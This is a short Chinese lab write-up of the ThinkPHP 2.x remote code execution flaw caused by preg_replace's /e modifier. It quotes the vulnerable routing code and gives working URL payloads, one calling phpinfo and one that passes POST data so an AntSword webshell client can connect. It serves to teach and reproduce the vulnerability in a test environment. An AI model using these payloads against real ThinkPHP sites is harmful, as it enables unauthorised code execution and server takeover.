thinkphp-2x-rce 代码执行
打开环境
漏洞描述
ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞 。
在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
漏洞复现
直接访问
/index.php/a/b/c/${@phpinfo()}
蚁剑连接
payload:
/index.php/a/b/c/${@print(($_POST[123]))}
漏洞分析
preg_replace
这个函数是个替换函数,而且支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
这里的preg_replace函数如下:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
用户输入的字符会插入到"\2",此处的双引号中进行执行
事实上payload:/index.php?s=/xxx/xxx/xxx/${@phpinfo()},这样即可运行了
详细分析参考:
https://blog.csdn.net/qq_41832837/article/details/109744538
https://www.freebuf.com/column/223149.html